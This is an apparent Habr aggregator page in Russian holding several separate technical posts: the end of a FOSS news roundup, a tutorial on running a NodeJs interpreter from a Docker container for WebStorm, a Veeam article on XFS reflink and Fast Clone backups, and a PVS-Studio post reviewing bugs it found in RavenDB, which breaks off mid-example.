  2. Крошечный компьютер NanoPi NEO3 поможет создать сетевое хранилище данных []
  3. MIT удалил коллекцию Tiny Images из-за выявления расистских и женоненавистнических терминов []

Релизы


Ядро и дистрибутивы


  1. Релиз-кандидат Альт Образование 9.1 []
  2. Обновление дистрибутива Elementary OS 5.1.6 []
  3. Выпуск дистрибутива GParted Live 1.1.0-3 []
  4. Релиз дистрибутива openSUSE Leap 15.2 www.opennet.ru/opennews/art.shtml?num=53234, itsfoss.com/opensuse-leap-15-2-release (en), www.linux.org.ru/news/novell/15790801
  5. Релиз дистрибутива Tails 4.8 и Tor Browser 9.5.1 []

Системный софт


  1. Выпуск Wine 5.12 и Wine staging 5.12 []
  2. Релиз универсального генератора данных для панелей состояния luastatus v0.5.0 []

Для разработчиков


  1. Выпуск Psalm 3.12, статического анализатора для языка PHP. Альфа выпуск PHP 8.0 []
  2. Выпуск платформы динамической трассировки приложений Frida 12.10 []
  3. Релиз языка программирования Lua 5.4 [ 1, 2]

Специальный софт


  1. Что нового в Harbor 2.0? [ (en)]
  2. Большой релиз LanguageTool 5.0! []
  3. Выпуск Podman 2.0 []
  4. Выпуск видеоредактора Shotcut 20.06 [ 1, 2]

Игры


  1. Новая версия стратегической игры Warzone 2100. Проект OpenDiablo2 []
  2. Доступен набор классических текстовых игр bsd-games 3.0 []

Пользовательский софт


  1. Релизы Firefox 78 и 78.0.1, обновление голосовых данных Mozilla Common Voice [ 1, 2]
  2. Релиз свободной системы финансового учета GnuCash 4.0 [ 1, 2]



На этом всё, до следующего воскресенья!

Высказываю большое спасибо OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением обзоров и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал или RSS чтобы не пропустить новые выпуски FOSS News.

Также вам может быть интересен новый релиз близкого нам обзора от единомышленников Linux новости #16. Blender, Krita, Vivaldi, PaleMoon, Brave, Linux Mint и Snap.

Предыдущий выпуск
Подробнее..

Из песочницы Webstorm NodeJs интерпретатор из Docker контейнера

17.06.2020 12:21:27 | Автор: admin

В этой статье описан процесс развертывания NodeJs приложения, используя NodeJs интерпретатор, находящийся в Docker контейнере, в качестве проектного (по умолчанию). Решение скорее всего будет актуально только для пользователей ОС Linux системы, так как в итоге интерпретатор будет взят из официального образа node на DockerHub.


Зачем?


Приложение можно развернуть, имея на хост-машине только docker, нет необходимости устанавливать интерпретатор самостоятельно, что позволит разработчику иметь конкретную версию интерпретатора для конкретного проекта, а также при смене версии образа в проекте от разработчика ручной настройки не потребуется, новый экземпляр интерпретатора будет использован в проекте автоматически.


Решение


Для примера было создано приложение на ReactJs + Typescipt, так как при некорректной настройке интерпретатора как минимум сломается подсветка кода.


1. Создадим приложение из готового шаблона:


$ npx create-react-app reactjs-typescript-custom-nodejs --template typescript

2. Напишем Dockerfile:


FROM node:14WORKDIR /appCMD cp /usr/local/bin/node /app/docker/node \    && npm install \    && npm run start

Здесь можно подробнее описать команду CMD, интерпретатор копируется из контейнера Docker в папку с приложением /app/docker/node, сама папка /app является корневой директорией приложения в контейнере. Далее выполняется установка зависимостей и старт приложения в режиме разработки.


3. Создадим в проекте директорию node с путем docker/node и поместим туда файл .gitignore, который игнорирует все в только что созданной папке:


*

4. Далее выполним команду в терминале из корня проекта:


docker build -t client . && docker run -it --rm --volume=${PWD}:/app -p 3000:3000 --name client client

Здесь мы собираем образ из Dockerfile и задаем ему тег, после чего запускаем контейнер в интерактивном режиме -it с последующим удалением контейнера --rm, создаем привязку директории проекта на хост-машине к корневой директории приложения в контейнере--volume=${PWD}:/app, открываем порт в сети -p 3000:3000 и задаем имя контейнеру --name client.


Таким образом при запуске контейнера экземпляр интерпретатора копируется на хост машину по пути docker/node/node, осталось указать его путь в настройках idea:



Итог


Приложение разворачивается в dev режиме, корректная подсветка кода, hot-reload и прочие функции, работающие из коробки в react-scripts, при смене версии официального образа NodeJs в Dockerfile дополнительная настройка idea не потребовалась.


Исходный код готового решения доступен на github.

Подробнее..
Категории: Node.js , Linux , Devops , Nodejs , Frontend , Docker , Docker-compose

XFS, Reflink и Fast Clone. Созданы друг для друга

29.06.2020 10:05:23 | Автор: admin
Как все мы знаем, XFS это высокопроизводительная журналируемая файловая система, созданная в недрах Silicon Graphics. А высокопроизводительная она потому, что способна справляться с множеством параллельных потоков ввода-вывода. Так что если вам интересна файловая система с легко масштабируемой пропускной способностью и не деградирующая от работы с несколькими устройствами одновременно, то вам, однозначно, сюда. Но сегодня мы будем нахваливать не весь XFS, а один конкретный его флаг reflink. Он включает возможность переиспользовать одинаковые блоки данных между файлами, обеспечивая дедупликацию и возможность делать быстрые copy-on-write снапшоты.
Грешновато проходить мимо такой увлекательной функциональности, поэтому сегодня мы посмотрим, как reflink может помочь всем ответственным за бекапы, и что на этой ниве нам может предложить Veeam Backup & Replication 10.



Если сильно не вдаваться в подробности, то reflink для XFS был представлен примерно три года назад. Ничего прорывного в этом событии не было, так как своя реализация у Microsoft была аж с 2012 года (под названием ReFS), а в том или ином виде reflink есть в BTRFS и OCFS2. Возможно, даже в большем количестве файловых систем тут прошу поправить читателей, если незаслуженно кого-то пропустил.

Итак, что же нам, бойцам фронта резервного копирования, с подобных технологий? Конечно же, самое главное это спасение драгоценного места в наших бекапных репозиториях за счёт встроенного в файловую систему механизма дедуплицирования. Это самый первый и очевидный плюс. Менее очевидный повышение быстродействия тяжёлых файловых операций. Если наше приложение умеет работать с reflink, то процедура копирования тяжёлого файла может свестись к обновлению метаданных, без необходимости реально перемещать блоки данных. Что, как вы догадываетесь, на порядки быстрее.
В контексте Veeam это позволило многократно (вы даже себе не представляете, насколько) ускорить такую операцию, как Synthetic Full. Создание синтетики это страшный сон вашего хранилища. Наверняка помните, как любят всякие техноблогеры взять и начать мучать условный винчестер тестом на чтение из произвольных мест, злобно потешаясь над упавшим в пол графиком производительности? А создание синтетического бекапа это не тест, а реальная задача, состоящая из постоянного потока операций чтения и записи из любого места на диске. Если у вас просто упадёт производительность накопителей, это ещё не плохо. Некоторые хранилища могут и просто зависнуть на полуслове.

Соответственно, если нам не надо метаться по всему диску в поисках нужных блоков и копировать их в новое место, а можно просто поправить таблицу метаданных, это даёт невероятный эффект. Поэтому нет ничего странного, что мы в Veeam давно рекомендуем использовать эту возможность, а саму функцию назвали Fast Clone. И, как было уже сказано, изначально Veeam получил поддержку майкрософтовского ReFs. У нас на форуме есть отзыв клиента, которому использование ReFS позволило уместить 99 терабайт реальных данных на 15 терабайт занятого места. И это без использования дорогих дедуплицирующих устройств.
И вот теперь настала пора и XFS получить свою толику славы.

Подготовка

Во-первых, reflink доступен в XFS только в относительно свежих релизах т.к. требует поддержки на уровне ядра. Ваша любимая Ubuntu 16.04 здесь не подойдёт, так что обновляйте до 18.04. Или лучше даже 20.04.
Что ещё? На системе обязательно должна быть включена проверка CRC и очень интересный момент: используемый размер блока данных должен быть в промежутке от 1 KiB до 4 KiB. Технически верхняя граница задаётся размером страниц в памяти (default), хотя можно и больше до 64KiB, но придётся пересобирать ядро. И многие репортят, что такой конфиг нестабилен. Как сказано в официальном мане XFS on Linux can only mount filesystems with pagesize or smaller blocks.
.
Предварительно проверяем, что у нас всё хорошо:

toor@ubuntuxfs:~$ sudo lshw -class disk -class storage -shortH/W path      Device      Class      Description================================================/0/2          scsi0      storage/0/2/0.0.0    /dev/sda   disk       5368MB Virtual Disk/0/2/0.0.2    /dev/sdb   disk       21GB Virtual Disk

А потом создаём нужный раздел командой. Почему именно создаём? Да потому что нельзя включить флаг -reflink на уже созданной файловой системе. Такое вот ограничение от разработчиков.

toor@ubuntuxfs:~$ mkfs.xfs -b size=4096 -m reflink=1,crc=1 /dev/sdb

И видим примерно такой вывод, где crc=1 и reflink=1, что нам и требуется. Честно говоря, crc=1 выставляется по дефолту, но у нас тут условия лабораторные, так что мы это сделали для наглядности.

meta-data=/dev/sdb               isize=512    agcount=4, agsize=1310720 blks         =                       sectsz=4096  attr=2, projid32bit=1         =                       crc=1        finobt=1, sparse=1, rmapbt=0         =                       reflink=1data     =                       bsize=4096   blocks=5242880, imaxpct=25         =                       sunit=0      swidth=0 blksnaming   =version 2              bsize=4096   ascii-ci=0, ftype=1log      =internal log           bsize=4096   blocks=2560, version=2         =                       sectsz=4096  sunit=1 blks, lazy-count=1realtime =none                   extsz=4096   blocks=0, rtextents=0

Делаем папку для бекапов и монтируем её

toor@ubuntuxfs: mkdir /backupsmount /dev/sdb /backups

А чтобы окончательно убедиться в том, что всё хорошо, смотрим:

toor@ubuntuxfs: df -hT .Filesystem     Type      Size  Used Avail Use% Mounted on/dev/sdb       xfs        20G  17M   20G   1% /backups

Испытания
Теперь давайте в лабораторных условиях проверим, как работает это хвалёный XFS и его reflink. Для это сгенерируем файл с рандомным содержимым с помощью всеми любимого метода перенаправления вывода из urandom

root@ubuntu: dd if=/dev/urandom of=test bs=1M count=1024010240+0 records in10240+0 records out10737418240 bytes (11 GB, 10 GiB) copied, 71.9184 s, 149 MB/s

Тут никакого дедуплицирования мы не увидим, так как reflink не используется системой по дефолту. Так что сколько места просили занять, столько и займётся. Что нас сейчас действительно интересует, так это сколько места заняли сами данные, а сколько ушло на метаданные. Проверяем.

root@ubuntu:/backups# df -hFilesystem      Size  Used Avail Use% Mounted on/dev/sdb         20G   11G  9.9G  51% /backups

Ага, на десять гигабайт данных у нас приходится около гигабайта метаданных.
Теперь попробуем скопировать этот файл с принудительным использованием reflink и посмотрим на результат.

root@ubuntu: cp -v --reflink=always test test-one'test' -> 'test-one

Проверяем

root@ubuntu:/backups# ls -hsltotal 20G10G -rw-r--r-- 1 root root 10G Jun 17 09:45 test10G -rw-r--r-- 1 root root 10G Jun 17 10:01 test-one

root@ubuntu:/backups# df -hFilesystem      Size  Used Avail Use% Mounted on/dev/sdb         20G   11G  9.9G  51% /backups

Отлично! У нас два файла по десять гигабайт, вместе занимающие одиннадцать. Слава технологиям! Но помним, что так же, как и в случае с ReFS, это всё не проходит даром и требует определённых издержек. В ReFS один блок можно переиспользовать всего 8175 раз. Также и в XFS. Количество зависит от того, сколько записей о клонах мы можем хранить это количество записей inodes. А это уже те самые метаданные. Но есть и хорошие новости: этот размер меняется динамически, и теоретический предел XFS гораздо больше, чем в ReFS.

Давайте ещё посмотрим, как данные расположены на диске

root@ubuntu:/backups# filefrag -v test test-oneFilesystem type is: 58465342File size of test is 10737418240 (2621440 blocks of 4096 bytes) ext:     logical_offset:        physical_offset: length:   expected: flags:   0:        0.. 1048559:         24..   1048583: 1048560:             shared   1:  1048560.. 2097135:    1310733..   2359308: 1048576:    1048584: shared   2:  2097136.. 2621439:    2624013..   3148316: 524304:    2359309: last,shared,eoftest: 3 extents foundFile size of test-one is 10737418240 (2621440 blocks of 4096 bytes) ext:     logical_offset:        physical_offset: length:   expected: flags:   0:        0.. 1048559:         24..   1048583: 1048560:             shared   1:  1048560.. 2097135:    1310733..   2359308: 1048576:    1048584: shared   2:  2097136.. 2621439:    2624013..   3148316: 524304:    2359309: last,shared,eoftest-one: 3 extents found

Как мы видим, оба файла занимают по три экстента, да ещё и расположены они одинаково с точностью до блока. Значит, reflink работает, как мы от него и ожидали.

Теперь переходим к практическим упражнениям с Veeam

Практика

Велосипед мы изобретать не будем, поэтому совершенно стандартным путём подключим нашу Linux машину в качестве репозитория.
И не забудем выбрать правильный диск



И главное, не забываем галочку Use Fast Cloning on XFS volumes. Иначе фокус не получится. И проверьте, что по кнопке Advanced все галочки сняты.



Когда мастер закончит свою работу, можно переходить к созданию бекапов. Как вы помните, в начале я говорил про использование заданий с созданием синтетических точек. Поэтому на шаге Storage не забываем выбрать нужный репозиторий, зайти на вкладку Advanced, выбрать Create Synthetic full backups periodically и выбрать, в какие дни они будут создаваться. Обычно мы всем советуем выбирать выходные, так как операции это сложные, и незачем на буднях лишний раз нагружать ваше хранилище.



Также не будет лишним на вкладке Maintenance включить периодический backup health check. Слишком много мы все слышали печальных историй о повреждении данных на системах вроде ReFS и XFS. Да, подобные механизмы уже встроены в саму файловую систему, но если бы они реально работали, мы бы не читали столько увлекательных рассказов про героическое спасение данных. Практика показала, что если у вас RAID с избыточностью, то вы можете спать более-менее спокойно. Если нет, то всё, на что способны эти системы самопроверки это сказать Ой, всё.



Все остальные пункты стандартные и особого внимания не заслуживают. Когда задание создано и успешно отработает, в день с запланированной синтетикой вы должны увидеть в логе вот такую строчку:



Приписка [fast clone] означает, что была создана не просто синтетическая точка, а именно с использованием Fast Clone [xfs reflink] для всего содержимого бекапа. Бывает ещё вариант [partial fast clone], когда создаётся смешанная цепочка. Да, мы умеем делать синтетику даже на не выравненных фс. Как и в ReFS, Veeam может клонировать блоки только по границам блоков файловой системы. Поэтому блоки данных бэкапных файлов создаются с выравниванием, равным block_size. Это делается автоматически при создании репозитория и для этого даже есть отдельная галочка в настройках репозитория.
Теперь давайте вернёмся на репозиторий и посмотрим файлы с бекапами. А именно, проверим, из чего состоит последний синтетический .vbk
Вывод реального файла может быть очень большим, поэтому я приведу лишь его начало и конец

root@ubuntu:/backups/Agent Linux/192.168.91.226# filefrag -v Agent\ Linux\ -\ 192.168.91.226D2020-06-18T062036_1F09.vbkFilesystem type is: 58465342File size of Agent Linux - 192.168.91.226D2020-06-18T062036_1F09.vbk is 2430484480 (593380 blocks of 4096 bytes) ext:     logical_offset:        physical_offset: length:   expected: flags:   0:        0..       0:    1777650..   1777650:      1:   1:        1..    4360:    2039034..   2043393:   4360:    1777651:   2:     4361..    5341:    1315106..   1316086:    981:    2043394: shared   3:     5342..    5345:    1986271..   1986274:      4:    1316087:   4:     5346..    5348:    1316091..   1316093:      3:    1986275: shared   5:     5349..    5570:    1986275..   1986496:    222:    1316094: shared   6:     5571..    5603:    1316319..   1316351:     33:    1986497: shared   7:     5604..    5781:    1986497..   1986674:    178:    1316352: shared   8:     5782..    5800:    1974097..   1974115:     19:    1986675: shared   9:     5801..    5872:    1316508..   1316579:     72:    1974116: shared.... 925:   545910..  546109:    2534022..   2534221:    200:    1853810: shared 926:   546110..  546299:    1776748..   1776937:    190:    2534222: shared 927:   546300..  546477:    2534222..   2534399:    178:    1776938: shared 928:   546478..  546623:    1854227..   1854372:    146:    2534400: shared 929:   546624..  547203:    2534400..   2534979:    580:    1854373: shared 930:   547204..  548096:    1855025..   1855917:    893:    2534980: shared 931:   548097..  549585:    2534980..   2536468:   1489:    1855918: shared 932:   549586..  551487:    1857319..   1859220:   1902:    2536469: shared 933:   551488..  551787:    2536469..   2536768:    300:    1859221: shared 934:   551788..  553011:    2037808..   2039031:   1224:    2536769: 935:   553012..  577866:    1929924..   1954778:  24855:    2039032: shared 936:   577867..  578291:    2536769..   2537193:    425:    1954779: shared 937:   578292..  592732:    1954913..   1969353:  14441:    2537194: shared 938:   592733..  593373:    2537194..   2537834:    641:    1969354: shared 939:   593374..  593375:    1777645..   1777646:      2:    2537835: shared 940:   593376..  593379:    1969356..   1969359:      4:    1777647: last,eofAgent Linux - 192.168.91.226D2020-06-18T062036_1F09.vbk: 941 extents found

Как мы видим, он практически весь состоит из переиспользованных shared блоков. Никак не помеченные блоки относятся к последнему инкременту, который создаётся перед созданием фульника.
Но какой именно выигрыш дали нам эти шаред блоки? Смотрим:

root@ubuntu:/backups/Agent Linux/192.168.91.226# df -h .Filesystem      Size  Used Avail Use% Mounted on/dev/sdb         20G  3.8G   17G  19% /backups

Реально использовано 3,8 Гигабайта. А что же сами файлы?

root@ubuntu:/backups/Agent Linux/192.168.91.226# ls -hsltotal 7.2G 56K -rw-rw-rw- 1 root root  54K Jun 18 13:20 'Agent Linux - 192.168.91.226.vbm'1.8G -rw-r--r-- 1 root root 1.8G Jun 17 13:53 'Agent Linux - 192.168.91.226D2020-06-17T065146_8546.vbk' 63M -rw-r--r-- 1 root root  63M Jun 17 13:57 'Agent Linux - 192.168.91.226D2020-06-17T065727_0228.vib'317M -rw-r--r-- 1 root root 317M Jun 17 14:03 'Agent Linux - 192.168.91.226D2020-06-17T070240_FD8B.vib'383M -rw-r--r-- 1 root root 383M Jun 17 14:09 'Agent Linux - 192.168.91.226D2020-06-17T070826_5860.vib'2.4G -rw-r--r-- 1 root root 2.4G Jun 17 15:04 'Agent Linux - 192.168.91.226D2020-06-18T020624_DF44.vbk'2.3G -rw-r--r-- 1 root root 2.3G Jun 18 13:20 'Agent Linux - 192.168.91.226D2020-06-18T062036_1F09.vbk'

А сами файлы занимают 7,2 Гигабайта. Вот такой вот выигрыш.

На этом задачу показать пользу и выгоду от использования Fast Clone считаю выполненной. Как мы видим, это не только экономия места, хотя сейчас и считается, что проще купить новый сторадж и накидать в него дисков. Это ещё и экономия времени, чтобы попасть в необходимый backup window. Пока скорость обычной синтетики ограничена производительностью дисковой подсистемы, в случае ReFS/XFS это нагрузка больше вычислительная. А с доступностью CPU и RAM ресурсов дела обычно обстоят намного лучше.

И перед тем как распрощаться, позвольте оставить вам несколько полезных ссылок:

helpcenter.veeam.com/docs/backup/vsphere/backup_repository_block_cloning.html?ver=100 Про Fast Clone в документации
www.veeam.com/kb3150 Fast Clone и Nutanix Mine
blogs.oracle.com/linux/xfs-data-block-sharing-reflink Отличная статья про XFS и Reflink в блоге Oracle
Подробнее..

Как найти ошибки в C проекте, работая под Linux и macOS

17.06.2020 18:07:34 | Автор: admin
Picture 8

PVS-Studio известный статический анализатор кода, позволяющий найти множество каверзных ошибок, скрытых в исходниках. Недавно завершился бета-тест новой версии, в которой появилась возможность анализа C# проектов под Linux и macOS. Кроме того, теперь анализатор можно интегрировать с кроссплатформенной IDE от JetBrains Rider. Данная статья позволит познакомиться с этими возможностями на примере проверки open source проекта RavenDB.


Введение


Некоторое время назад мой коллега Сергей Васильев написал заметку об открытии бета-теста новой версии разрабатываемого нами статического анализатора PVS-Studio. Сейчас бета-тест завершён и новую версию можно загрузить, перейдя по ссылке. В этой же статье мы рассмотрим, как проводится анализ C# проектов под Linux/macOS с использованием консольного интерфейса и Rider. После этого проведём традиционный разбор некоторых интересных срабатываний анализатора.

RavenDB


Picture 5


Для проверки был выбран открытый проект RavenDB, репозиторий которого насчитывает почти 5 тысяч файлов исходного кода. Он представляет собой достаточно популярную NoSQL-базу данных. Подробности можно узнать на сайте. Нетрудно догадаться, что меня привлёк его размер, ведь в столь большом и, вне всяких сомнений, серьёзном проекте наверняка найдётся что-нибудь интересное.

Command Line Interface


Для начала рассмотрим, как производится анализ через консоль. Этот раздел, на мой взгляд, будет особенно интересен тем, кто желает интегрировать анализатор в CI-систему. У команды, запускающей анализ, есть ряд интересных опций, однако в общем случае всё достаточно тривиально. Чтобы провести анализ RavenDB, я перехожу в папку с проектом и ввожу в консоли следующее:
pvs-studio-dotnet -t ./RavenDB.sln 

Флаг -t (сокращение от target) служит для указания файла решения или проекта для проверки. Представленная выше строка запускает анализ и в результате работы формирует файл, содержащий найденные ошибки. Всё просто, не правда ли?

Rider


Работа с анализатором в Rider представляет собой примерно то же самое, что и в Visual Studio. Простой и понятный интерфейс плагина позволит проверить проект буквально в пару кликов. Это не преувеличение для проведения анализа RavenDB мне было достаточно кликнуть в верхнем меню Tools, навести на PVS-Studio и кликнуть Check Current Solution/Project.

Picture 2


Результаты анализа будут отображены в нижней части окна на вкладке PVS-Studio (ну а на какой же ещё? :) )

Picture 3


Как и в случае с плагином для Visual Studio, двойной клик по предупреждению отобразит место, с которым оно связано. Всё удобно и понятно.

Что ещё более важно, инструмент PVS-Studio не просто указывает на ошибки, а имеет инфраструктуру, позволяющую легко внедрить методологию статического анализа даже в большой старый проект.

Общая идея в следующем. Пользователь запустил анализатор и получил множество предупреждений. Раз проект, разрабатываемый много лет, жив, развивается и приносит деньги, то, скорее всего, в отчёте не будет много предупреждений, указывающих на критические дефекты. Другими словами, критические баги так или иначе уже поправлены более дорогими способами или благодаря фидбеку от клиентов. Соответственно, всё, что сейчас находит анализатор, можно считать техническим долгом, который непрактично стараться устранить сразу. Рационально пока игнорировать эти предупреждения, но писать новый код уже выполняя регулярный анализ.

Можно указать PVS-Studio считать эти предупреждения пока неактуальными (отложить технический долг на потом), и больше их не показывать. Анализатор создаёт специальный файл, где сохраняет информацию о пока неинтересных ошибках. И теперь PVS-Studio будет выдавать предупреждения только на новый или измененный код. Причем, всё это реализовано умно. Если, например, в начало некоего файла будет добавлена пустая строка, то анализатор понимает, что, по сути, ничего не изменилось, и по-прежнему будет молчать. Этот файл разметки можно заложить в систему контроля версий. Файл большой, но это не страшно, так как часто его закладывать смысла нет.

Теперь все программисты будут видеть предупреждения, относящиеся только к новому или изменённому коду. Таким образом, анализатор можно начать использовать, что называется, со следующего дня. А к техническому долгу можно будет вернуться позднее, и постепенно исправлять ошибки и настраивать анализатор.

Для подавления предупреждений на существующий код в Rider необходимо просто перейти в верхнем меню в Tools->PVS-Studio и кликнуть Suppress All Messages.

Picture 1


В появившемся окне, предупреждающем о том, что в suppress-лист попадут все текущие срабатывания, кликаем на Ok. В результате в папке с проектом будет создан suppress-файл, который будет учитываться анализатором при дальнейшей работе.

Надо отметить, что в Rider уже есть анализатор, который успешно подсвечивает некоторые ошибки. Таким образом, ряд предупреждений PVS-Studio указывает на код, который выглядит подозрительно и с точки зрения редактора. Тем не менее, PVS-Studio довольно часто находит ошибки, которые смогли уйти от чуткого взора анализатора от JetBrains. Именно поэтому наиболее эффективным решением будет позволить им работать в команде.

Picture 10


А на десерт


Теперь, как и обещал, рассмотрим, какие интересные предупреждения отобразил анализатор по результатам проверки. Проект содержит огромное количество файлов исходного кода, поэтому неудивительно было найти в нём множество подозрительных моментов. Ничего не поделаешь все совершают ошибки, однако важно прикладывать максимум усилий к их своевременному обнаружению и исправлению. Статический анализ позволяет существенно упростить эту задачу.

В результате проверки было выведено около тысячи предупреждений:

Picture 11


Подробнее об уровнях предупреждений можно прочитать, перейдя по ссылке.

Конечно, не все срабатывания указывают на супер-страшные ошибки. Если бы это было так, вряд ли бы в проекте хоть что-то работало :). Но важно понимать раз анализатор ругается, значит код выглядит странно, и его стоит внимательно изучить.

Вообще в проекте нашлось немало любопытных срабатываний. Тем не менее, не хотелось бы, чтобы статья получилась совсем уж огромной, поэтому мы рассмотрим только некоторые из них.

Всего лишь дополнительная проверка?


public static void EnsurePathExists(string file){  var dirpath = Path.GetDirectoryName(file);  List<string> dirsToCreate = new List<string>();  while (Directory.Exists(dirpath) == false)  {    dirsToCreate.Add(dirpath);    dirpath = Directory.GetParent(dirpath).ToString();    if (dirpath == null)                                  // <=      break;  }  dirsToCreate.ForEach(x => Directory.CreateDirectory(x));}

Предупреждение анализатора: V3022 Expression 'dirpath == null' is always false. PosixHelper.cs(124) Voron

Данное срабатывание можно рассмотреть по-разному. С одной стороны, лишняя проверка это, конечно, не очень хорошо, но сама по себе она ошибкой не является. С другой стоит задуматься: действительно ли этот код работает так, как задумывал программист?

Возможно, разработчик и правда не знал, что ToString никогда не вернёт null. Если же это не так, то можно сделать предположение о том, чего он хотел добиться.

Быть может, break должен вызываться, когда не удаётся получить родителя для рассматриваемой директории. Если это так, то проверка на null обретает смысл. Однако рассматривать нужно не результат работы ToString, а значение, возвращаемое методом GetParent:
dirsToCreate.Add(dirpath);var dir = Directory.GetParent(dirpath);    if (dir == null)  break;dirpath = dir.ToString();

В противном случае, возвращение null методом GetParent приводит к исключению при вызове ToString.

Типичный null


public long ScanOldest(){  ....  for (int i = 0; i < copy.Length; i++)  {    var item = copy[i].Value;    if (item != null || item == InvalidLowLevelTransaction) // <=    {      if (val > item.Id)                                    // <=        val = item.Id;    }  }  ....}

Предупреждение анализатора: V3125 The 'item' object was used after it was verified against null. Check lines: 249, 247. ActiveTransactions.cs(249), ActiveTransactions.cs(247) Voron

Код выглядит странно из-за происходящего в том случае, когда item действительно null. Действительно, если InvalidLowLevelTransaction тоже окажется null, условие окажется истинным и попытка получения item.Id приведёт к выбрасыванию исключения. А если InvalidLowLevelTransaction не может оказаться null, то условие "item == InvalidLowLevelTransaction" попросту лишнее. Всё потому, что оно проверяется лишь в случае, когда item == null. Ну а если вдруг item не может быть null, то вообще всё условие теряет смысл и лишь добавляет ненужную вложенность.

Я думаю, что здесь, возможно, выбран неверный логический оператор. Если заменить в условии "||" на "&&", то код сразу начинает выглядеть логично. Ну и никаких проблем в таком случае возникнуть не может.

Срабатывания подобного плана являются типичными представителями весьма опасных в теории ошибок, обнаруживаемых анализатором. Справедливости ради надо отметить, что анализатор, встроенный в Rider, тоже помечает данный фрагмент как потенциально опасный.

Снова лишняя проверка?


public void WriteObjectEnd(){  ....  if (_continuationState.Count > 1)  {    var outerState =       _continuationState.Count > 0 ? _continuationState.Pop() : currentState    ;    if (outerState.FirstWrite == -1)      outerState.FirstWrite = start;    _continuationState.Push(outerState);  }     ....}

Предупреждение анализатора: V3022 Expression '_continuationState.Count > 0' is always true. ManualBlittableJsonDocumentBuilder.cs(152) Sparrow

Сначала во внешнем условии проверяется, что количество элементов в коллекции больше 1, а затем на следующей же строке тернарный оператор проверяет, что их число больше 0. Создаётся впечатление, что одна из проверок должна выглядеть иначе. Так или иначе, этот код весьма подозрительно выглядит и должен быть внимательно изучен и переработан при необходимости.

Возможный NRE


protected override Expression VisitIndex(IndexExpression node){  if (node.Object != null)  {    Visit(node.Object);  }  else  {    Out(node.Indexer.DeclaringType.Name); // <=  }  if (node.Indexer != null)               // <=  {    Out(".");    Out(node.Indexer.Name);  }  VisitExpressions('[', node.Arguments, ']');  return node;}

Предупреждение анализатора: V3095 The 'node.Indexer' object was used before it was verified against null. Check lines: 1180, 1182. ExpressionStringBuilder.cs(1180), ExpressionStringBuilder.cs(1182) Raven.Client

На самом деле, это ещё одно место, которое считает подозрительным и PVS-Studio, и Rider. Правда, формулировки несколько отличаются: анализатор от JetBrains просто подсвечивает node.Indexer.DeclaringType с комментарием Possible NullReferenceException.

Оба проверяющих утверждают, что в этом фрагменте действительно может быть выброшено исключение. Должен заметить, что предупреждение от PVS-Studio не только говорит, что тут возможна ошибка, но и объясняет, почему у него сложилось такое мнение. Вроде мелочь, а приятно.

На самом деле, не факт, что тут и правда допущена ошибка. Вполне возможно, что если node.Object == null, то node.Indexer точно задан. При этом допустима ситуация, когда node.Object и node.Indexer оба не равны null. Только в таком случае можно считать данное срабатывание обоих анализаторов ложным. Поэтому стоит внимательно проанализировать все возможные варианты.

А если копнуть глубже?


private async Task LoadStartingWithInternal(....){  ....  var command = operation.CreateRequest();  if (command != null)                       // <=  {    await RequestExecutor      .ExecuteAsync(command, Context, SessionInfo, token)      .ConfigureAwait(false)    ;    if (stream != null)      Context.Write(stream, command.Result.Results.Parent);    else      operation.SetResult(command.Result);  }  ....}

Предупреждение анализатора: V3022 Expression 'command != null' is always true. AsyncDocumentSession.Load.cs(175) Raven.Client

Предупреждение выдаётся из-за того, что метод CreateRequest никогда не возвращает null. В самом деле, достаточно взглянуть на его код, чтобы убедиться в этом:
public GetDocumentsCommand CreateRequest(){  _session.IncrementRequestCount();  if (Logger.IsInfoEnabled)    Logger.Info(....);  return new GetDocumentsCommand(....);}

В целом, эта проверка не такая уж и проблема, хотя может быть так, что метод раньше и правда возвращал null в определённых обстоятельствах, а теперь в случае чего бросает исключение. Кто знает, возможно, что вместо той проверки на null сейчас должен быть try-catch.

У вас может возникнуть вполне разумный вопрос: а где тут бросается исключение-то? Если их нет, то тогда перед нами всё-таки просто лишняя проверка, и никакой ошибки тут быть не может.

Но увы, при выполнении метода исключение действительно может быть выброшено, причём дважды. Сначала в методе IncrementRequestCount:
public void IncrementRequestCount(){  if (++NumberOfRequests > MaxNumberOfRequestsPerSession)    throw new InvalidOperationException(....);}

Затем в конструкторе GetDocumentsCommand:
public GetDocumentsCommand(string startWith, ....){  _startWith = startWith ?? throw new ArgumentNullException(nameof(startWith));  ....}

Традиционный copy-paste


public override void WriteTo(StringBuilder writer){  ....  if (SqlConnectionStringsUpdated)    json[nameof(SqlConnectionStringsUpdated)] = SqlConnectionStringsUpdated;  if (ClientConfigurationUpdated)    json[nameof(ClientConfigurationUpdated)] = ClientConfigurationUpdated;  if (ConflictSolverConfigUpdated)    json[nameof(ConflictSolverConfigUpdated)] = ClientConfigurationUpdated;  if (PeriodicBackupsUpdated)    json[nameof(PeriodicBackupsUpdated)] = PeriodicBackupsUpdated;  if (ExternalReplicationsUpdated)    json[nameof(ExternalReplicationsUpdated)] = ExternalReplicationsUpdated;  ....}

Предупреждение анализатора: V3127 Two similar code fragments were found. Perhaps, this is a typo. SmugglerResult.cs(256), SmugglerResult.cs(253) Raven.Client

Сильно сомневаюсь, что хоть кто-нибудь увидел бы тут странность, взглянув на код. Функция состоит из 14 подобных условий и все переменные заканчиваются на Updated. Даже когда тут приведена малая её часть, ошибку видно не сразу.

Человеческий мозг буквально отказывается искать в таком коде что-либо. В то же время, PVS-Studio с легкостью обнаружил, что присваивается, скорее всего, совершенно не то, должно:
if (ClientConfigurationUpdated)    json[nameof(ClientConfigurationUpdated)] = ClientConfigurationUpdated;if (ConflictSolverConfigUpdated)    json[nameof(ConflictSolverConfigUpdated)] = ClientConfigurationUpdated;

Логично, что в нижней строке справа от оператора присваивания должно быть ConflictSolverConfigUpdated. Я уверен, что без статического анализа данная странность была бы найдена только в случае, если бы из-за неё сломалось что-то достаточно серьёзное. Программист сможет заметить, что в этой функции скрыта проблема, разве что только если будет знать об этом заранее.

Ох уж этот "??"


public int Count =>   _documentsByEntity.Count + _onBeforeStoreDocumentsByEntity?.Count ?? 0;

Предупреждение анализатора: V3123 Perhaps the '??' operator works in a different way than it was expected. Its priority is lower than priority of other operators in its left part. InMemoryDocumentSessionOperations.cs(1952) Raven.Client

